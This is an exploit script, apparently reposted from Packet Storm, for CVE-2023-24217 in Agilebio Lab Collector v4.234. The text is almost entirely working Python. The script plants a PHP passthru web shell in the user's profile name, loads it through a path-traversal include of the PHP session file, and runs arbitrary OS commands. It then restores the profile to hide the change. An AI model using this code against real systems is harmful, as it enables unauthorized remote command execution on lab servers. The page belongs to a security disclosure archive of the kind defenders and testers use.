CVE-2023-24217: Agilebio Lab Collector 4.234 Remote Code Execution ≈ Packet Storm

# Exploit Title: Agilebio Lab Collector Electronic Lab Notebook Remote Code Execution# Date: 2023-02-28# Exploit Author: Anthony Cole# Vendor Homepage: https://labcollector.com/labcollector-lims/add-ons/eln-electronic-lab-notebook/# Version: v4.234# Contact: http://twitter.com/acole76# Website: http://twitter.com/acole76# Tested on: PHP/MYSQL# CVE: CVE-2023-24217# Category: webapps#   # Lab Collector is a software written in PHP by Agilebio. Version v4.234 allows an authenticated user to execute os commands on the underlying operating system.#  from argparse import ArgumentParserfrom requests import Sessionfrom random import choicefrom string import ascii_lowercase, ascii_uppercase, digitsimport refrom base64 import b64encodefrom urllib.parse import quote_plussess:Session = Session()cookies = {}headers = {}state = {}def random_string(length:int) -> str:    return "".join(choice(ascii_lowercase+ascii_uppercase+digits) for i in range(length))def login(base_url:str, username:str, password:str) -> bool:    data = {"login": username, "pass": password, "Submit":"", "action":"login"}    headers["Referer"] = f"{base_url}/login.php?%2Findex.php%3Fcontroller%3Duser_profile"    res = sess.post(f"{base_url}/login.php", data=data, headers=headers)    if("My profile" in res.text):        return res.text    else:        return None    def logout(base_url:str) -> bool:    headers["Referer"] = f"{base_url}//index.php?controller=user_profile&subcontroller=update"    sess.get(f"{base_url}/login.php?%2Findex.php%3Fcontroller%3Duser_profile%26subcontroller%3Dupdate",headers=headers)def extract_field_value(contents, name):    value = re.findall(f'name="{name}" value="(.*)"', contents)    if(len(value)):        return value[0]    else:        return ""def get_profile(html:str):    return {        "contact_name": extract_field_value(html, "contact_name"),        "contact_lab": extract_field_value(html, "contact_lab"),        "contact_address": extract_field_value(html, "contact_address"),        "contact_city": extract_field_value(html, "contact_city"),        "contact_zip": extract_field_value(html, "contact_zip"),        "contact_country": extract_field_value(html, "contact_country"),        "contact_tel": extract_field_value(html, "contact_tel"),        "contact_email": extract_field_value(html, "contact_email")    }def update_profile(base_url:str, wrapper:str, param:str, data:dict) -> bool:    headers["Referer"] = f"{base_url}/index.php?controller=user_profile&subcontroller=update"    res = sess.post(f"{base_url}/index.php?controller=user_profile&subcontroller=update", data=data, headers=headers)    return Truedef execute_command(base_url:str, wrapper:str, param:str, session_path:str, cmd:str):    session_file = sess.cookies.get("PHPSESSID")    headers["Referer"] = f"{base_url}/login.php?%2F"    page = f"../../../../../..{session_path}/sess_{session_file}"    res = sess.get(f"{base_url}/extra_modules/eln/index.php?page={page}&action=edit&id=1&{param}={quote_plus(cmd)}", headers=headers)    return parse_output(res.text, wrapper)def exploit(args) -> None:    wrapper = random_string(5)    param = random_string(3)    html = login(args.url, args.login_username, args.login_password)        if(html == None):        print("unable to login")        return False        clean = get_profile(html)    data = get_profile(html)    tag = b64encode(wrapper.encode()).decode()    payload = f"<?php $t=base64_decode('{tag}');echo $t;passthru($_GET['{param}']);echo $t; ?>"            data["contact_name"] = payload #inject payload in name field    if(update_profile(args.url, wrapper, param, data)):        login(args.url, args.login_username, args.login_password) # reload the session w/ our payload        print(execute_command(args.url, wrapper, param, args.sessions, args.cmd))        update_profile(args.url, wrapper, param, clean) # revert the profile        logout(args.url)    def parse_output(contents, wrapper) -> None:    matches = re.findall(f"{wrapper}(.*)\s{wrapper}", contents, re.MULTILINE | re.DOTALL)    if(len(matches)):        return matches[0]        return Nonedef main() -> None:    parser:ArgumentParser = ArgumentParser(description="CVE-2023-24217")    parser.add_argument("--url", "-u", required=True, help="Base URL for the affected application.")    parser.add_argument("--login-username", "-lu", required=True, help="Username.")    parser.add_argument("--login-password", "-lp", required=True, help="Password.")    parser.add_argument("--cmd", "-c", required=True, help="OS command to execute.")    parser.add_argument("--sessions", "-s", required=False, default="/var/lib/php/session/", help="The location where php stores session files.")        args = parser.parse_args()    if(args.url.endswith("/")):        args.url = args.url[:-1]    if(args.sessions.endswith("/")):        args.sessions = args.sessions[:-1]    exploit(args)    passif(__name__ == "__main__"):    main()